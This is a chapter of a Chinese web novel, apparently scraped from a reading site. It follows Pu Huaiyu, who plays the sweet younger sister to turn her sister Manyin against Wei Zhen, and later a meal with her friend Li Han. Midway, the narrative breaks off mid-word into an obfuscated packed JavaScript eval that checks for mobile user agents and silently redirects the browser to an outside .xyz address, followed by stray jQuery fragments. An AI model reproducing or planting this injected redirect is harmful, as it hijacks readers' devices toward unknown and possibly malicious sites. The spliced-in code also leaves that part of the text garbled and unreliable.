9. 009

    隗祯矜持地点了两下头,以作回应。


    濮怀玉没必要装成他那个眼高于顶的样子,她有自己的方案。所以她挽住来人的胳膊藏身其后,一副很怕生的模样。


    “姐姐。”因为比濮曼吟还要高一小截,比起躲藏,她更像是借助让自己舒适的环境向外观察,从而做出下一步打算。


    野丫头脸上的表情向来很寡淡,即便有所更改,也是让人烦躁的嘲讽或者嫌弃。因此,隗祯今天第一次看到她心无旁骛地做出十八岁女大学生的样子,好像情绪终于有了点孩子气的起伏,要告家长。


    耳畔能够隐约听到“咻”的一声,跟漫画音效似的,她一下子窜到了濮曼吟的身边。


    有点稀奇。


    “刚刚我在走廊上看到服务员搀着一个跟你年纪差不多大的男生,正好从这个方向往门口走。”


    在濮怀玉故作镇定,其实心底乱作一团麻的视线里,濮曼吟稍作停顿后担忧道,“你可不能像他一样。近墨者黑,少交点坏朋友。”


    隗祯觉得今天的自己太过敏感,又或者濮曼吟真的在暗讽他。


    ——不对,这跟他有什么关系?他难道在跟某个粗俗的野丫头交朋友吗?显然不是。


    “姐姐,我不会的。”摇头否定的女孩此刻乖得像只小狗,跟刚刚毫不犹豫攻击异性要害部位的冷酷惩戒者判若两人。


    那一脚虽然粗俗,但确实让隗祯起了点鸡皮疙瘩,忍不住胡思乱想起来。说什么“措手不及”,不会濮怀玉原先打算找到公司,然后这么对他吧?


    说实话,很像她会做出来的事。


    得到肯定的答复,濮曼吟轻轻顺起妹妹的头发,询问:“你们刚刚在聊什么?”


    “曼曼,你和小玉都过来坐。”樊雁舟招呼道。


    他很热情,濮曼吟却没有答应。“雁舟,你不妨先回答我的问题。”她总是很温柔,话语间却又带上了不容拒绝的奇妙控制力,“小玉刚刚站在这里,在跟你们说什么呢?”


    “姐姐,我们什么都没聊。”


    濮怀玉捻起她的衣角,“我只是想知道有没有误会隗先生,樊叔叔在帮我。”


    “‘叔叔’?”隗祯看向脸色微妙的好友,“这下我们算是差了辈了。”


    “我也可以这么称呼您。”濮怀玉忽而变的小声,似乎在羞赧地表达歉意——尽管她的表情没有任何变化,甚至抽空对隗祯拇指朝下,仿佛在戏谑地说“你很low诶”。


    “只是……我们没有那么熟悉。而且隗先生,您并不了解我。”


    濮怀玉垂下眸,“我不是孤儿,您的说法并不精确。我有姐姐的。”


    “谁?谁说你——”


    濮曼吟甚至不忍心吐露那两个字眼,愤怒地看向还没有说话的樊雁舟。


    “姐姐,可能是误会。”濮怀玉轻轻拉动她的衣角,“我不难过。一点都不难过。”


    她确实不难过,和隗祯对视时神情冷淡,明明比他稍矮一截,却能将人看扁。


    “……隗祯,你应该道歉。”


    到了这个地步,樊雁舟也不得不跟兄弟明算账,叹息一声,“你真的不该这么做,小玉还是个孩子。”


    “这么说,真是隗先生散布谣言。”


    濮曼吟直接将妹妹挡在身后,冷冷看向面前的两人,“我上次就说过了,今天再说一遍,我绝不允许你们以任何方式欺负我妹妹。”


    “曼曼,我没有欺负小玉……”


    尽管不含血缘关系,濮曼吟现如今的表情冷漠得跟妹妹如出一辙:“他是你的朋友。既然连一点尊重都不愿意给予,想必也能一定程度上代表你的态度。”


    “小玉我就先带走了,二位自便。”


    樊雁舟一下子站不住脚,追出门去,厢内一时间只剩下隗祯。


    他当然不可能追过去,不如说两个人闹翻了正合他意,但他认为没这么简单。


    果不其然,半个小时以后樊雁舟回来往沙发上一坐,揉着眉心念叨“好不容易跟小玉缓和关系”。


    隗祯差点笑出声:“你真的觉得你跟濮怀玉关系能变好?”


    “她叫我姐夫,还拿奖金请我吃饭。”樊雁舟看一眼他,“你刚刚没听清小玉的话吗?你不了解她,就不要随便猜测。”


    隗祯第一次感觉到心累:“我为什么要了解她?这件事根本不需要了解,你——”你傻啊。


    触及朋友谴责的目光,隗祯没能说出口。


    他想,隗家哪天要是遭遇不幸破产,沦落到卖保健品为生的地步,樊雁舟很有可能是他的重要顾客。


    ——不行,就樊雁舟这个谈恋爱后开始漏风的脑袋,樊家必须在隗家之前卖上保健品,不然他不甘心。


    夹在双方之间并不好受,樊雁舟的确头疼到漏风,扶额叹气:“ethan,算是来自我这个朋友最后一点劝诫,你最好不要再搞小动作。”


    “这次确实跟我没关系。”隗祯干脆道,“以后也不会跟我扯上关系,因为我不准备再做吃力不讨好的事。”


    自从收到那叠照片,尤其是里面樊雁舟追到B大运动会那张,隗祯受到了极大的精神冲击。


    朋友太上赶着,他也实在不知道该说些什么,只能先尊重祝福。


    然后,从其他角度着手。


    “你必须给小玉道个歉。起码表个态。”


    “我会的。”隗祯的反应干脆坦然得出乎他的意料,“对了雁舟,你有没有想过让濮曼吟和她妹妹跟那几家走动走动?”


    他温柔地提议,满眼都是好意:“黎家的大女儿这个月要举办生日宴,是个让她们融入圈子的好机会。要是濮怀玉像她姐姐一样,跟哪家的孩子看对眼,两情相悦,可不仅仅是成了两桩好事。”


    与其强硬地逼退,不如顺其自然。就连农作物都会寻找适合生长的土壤,人也是这个道理。


    只不过,人比农作物灵活,不会任由自己痛苦地枯死,能用知难而退规避生存不下去的坏结局。


    “你如果有这方面的意思,我可以借小玉几套高珠,试到她满意为止,正好赔礼道歉。”


    隗祯微笑,“如果小玉实在喜欢,就当作我给她的见面礼,希望她别觉得有负担。”


    樊雁舟沉吟片刻,拍了拍他的肩膀:“谢谢你,ethan。”


    如果濮怀玉没跟黎晗交好,他还会有所犹豫。所有的条件都具备,恰逢隗祯开这个口助推一把,他觉得好的不得了。


    要是同时解决了濮怀玉的婚恋问题,不管她对自己的看法好还是坏,都没有那么多精力干涉姐姐跟姐夫的感情了,可谓是一箭多雕。


    樊雁舟想的很美,隗祯却着实被自己刚刚一口一个“小玉”恶心得连喝两杯水还觉不够,嘴里直发酸。


    喝到第五杯,他忽然想起壶中所泡茶叶是上好的绿茶,濮怀玉变脸后的乖巧蓦地在眼前滚过一遍,令他差点把桌角的茶壶碰掉。


    这对姓濮的姐妹真是害人不浅。


    ……


    脑海中,系统忍不住对宿主刚才的发挥啧啧赞叹:“绿茶加忠犬,我想不到这个打法怎么输。”


    “我不是绿茶。”濮怀玉纠正它,“我本来就是乖小孩。”


    直觉告诉系统不要在这个话题上纠缠,尽管直觉似乎是人类才拥有的东西,但它确实在跟濮怀玉日复一日的相处中摸索出了一套统生哲学。


    濮怀玉可不是演的,她在濮曼吟面前是真的乖,乖到濮曼吟至今认为妹妹和别人打架是夸大的说法。


    但她还是要轻轻刮一下妹妹的鼻梁,三令五申不许学坏,下次不管谁叫去类似“兰醺”的地方都得等她一起。


    “姐夫叫我去,也要等吗?”


    “要等。”濮曼吟没有犹豫,在她耳边小声说,“小玉,他是樊家的樊雁舟,可不是我们家的。”


    “好。”


    濮怀玉学姐姐轻声答应,靠在她肩头,无声地微笑起来。


    两人坐在出租车上,提前约定好,中午到家附近的家常菜馆吃顿午饭,晚上回家做饭,濮怀玉今夜也不用回学校了。


    起初,窗外的街景像另外一个世界,排满了各种豪车。后来人烟逐渐喧嚣,她们都不自觉地放松下来。


    濮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793405|158232||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    曼吟一只手揽住她,轻拍肩头:“小玉,我吃点亏不要紧,姐姐看得太多了,不在乎这些。你别为我出头,惹上不能惹的人。”


    “是他们先做了坏事。”濮怀玉用快要睡着似的音量回答,内容却很坚硬,像一块怎么都融化不了分毫的坚石,“我等不到报应来,也不想等。”


    头顶传来一声无奈的叹息。


    “……越长大,越不听话。”濮曼吟捏一把她肩上的软肉,“小玉,听姐姐的话,别追究姐姐的事。”


    濮怀玉沉默了很久,久到出租车已然行驶到两人居住的老小区附近,她终于在下车前很轻地回了一个“嗯”,非常不情愿。


    “小玉是乖小孩。”


    濮怀玉突然不想做了,但她没办法。她要让濮曼吟安心。


    周一上学,濮怀玉遵守约定请黎晗吃饭,在一家价格小贵的餐吧,环境很适合拍照,味道也不错,店内有许多大学生打卡。


    内容几乎都由黎晗敲定,除了濮怀玉的饮料——一大杯表面漂着满满烤棉花糖的热巧克力,要三十多块,是她平时几乎从来不碰的奢侈品。


    濮怀玉向来对自己比较苛刻,对待朋友倒是大方得多,也借此机会难得对自己大方一点。


    更何况已然入秋,喝这个正好。


    因为太满,濮怀玉几乎在饮料端上桌不久就着急地抿上一大口,清爽地呼出一口热气,胃里晕开一片让人安心的暖意。


    黎晗正将半熟的牛排戳出好多洞,和全生的蔬菜搅在一起,见状笑道:“姐,你好像每次都要点巧克力。”


    “热的适合秋冬,冰的适合春夏。”濮怀玉把饮料推给她,一本正经,“我还没用吸管,你要不要试试味道。”


    和看似桀骜的性格不同,她在口味上的偏好并没有那么“硬”,甚至像个通常意义上的乖乖女。


    “不就是巧克力的味道吗?”嘴上这么说,黎晗还是将吸管凑到唇边,吸上来一小口,松开时拿纸巾抹一把嘴,“嗯,还不错。”


    她吃过太多真正的好东西,这杯饮料实在不够看,却让她的心情暂时转晴。


    “所以,事情了结了吗?”


    “算了结。主动权不在我这里。”濮怀玉咽下第一口烩饭,“如果你问我的想法,我会说‘这事没完’。”


    黎晗:“你的决定我都支持。需要用到我的时候给我打电话,我愿意把我自己豁出去——”


    她眼神游离,“……还有我干瘪的钱包。”


    “穷鬼何必为难穷鬼。”


    每当濮怀玉包容地表示自己不需要她单薄的兼职酬劳时,黎晗都想仰天长啸:可她不是真的穷啊——


    “可以加个微信吗?”


    濮怀玉跟黎晗交换了个眼神,看向桌边的陌生男性:“我还是她?”


    “你。”对方很自信,“可以认识一下。”


    濮怀玉:“不太想认识怎么办?”


    男生一下子被噎住。


    “你可以当作我没有手机。”濮怀玉摊手,像在说冷笑话,“你看,桌上没有手机对吧?”


    年轻男性往她的夹克口袋看去,手机很不走心地露出三分之二,濮怀玉甚至当着他的面把手机换到另一个他看不见的口袋。


    “……打扰了。”最终,男生不堪受辱,灰溜溜地离开。


    濮怀玉对此经验丰富:“这个年龄段的男性还比较要脸。”她撇了撇嘴,“希望不要在社交平台挂我。”


    “真挂了怎么办?”


    “我可以更不要脸。”濮怀玉吃一口湿润的棉花糖,“不好意思,请问你算老几,我完全不在意。”


    黎晗被她逗笑了。


    “真羡慕你。”


    濮怀玉一口甜一口咸:“羡慕我什么?”


    “没什么。”黎晗摇了摇头,笑容一下子淡了很多,却又尽力让自己看起来很高兴,“对了姐,我马上要过生日了,你准备送什么给我?”


    濮怀玉之前并不知道,一脸意外:“你要过生日了?……我想想。”


    “你慢慢想。”黎晗撑住下颚,“你送的我都喜欢。”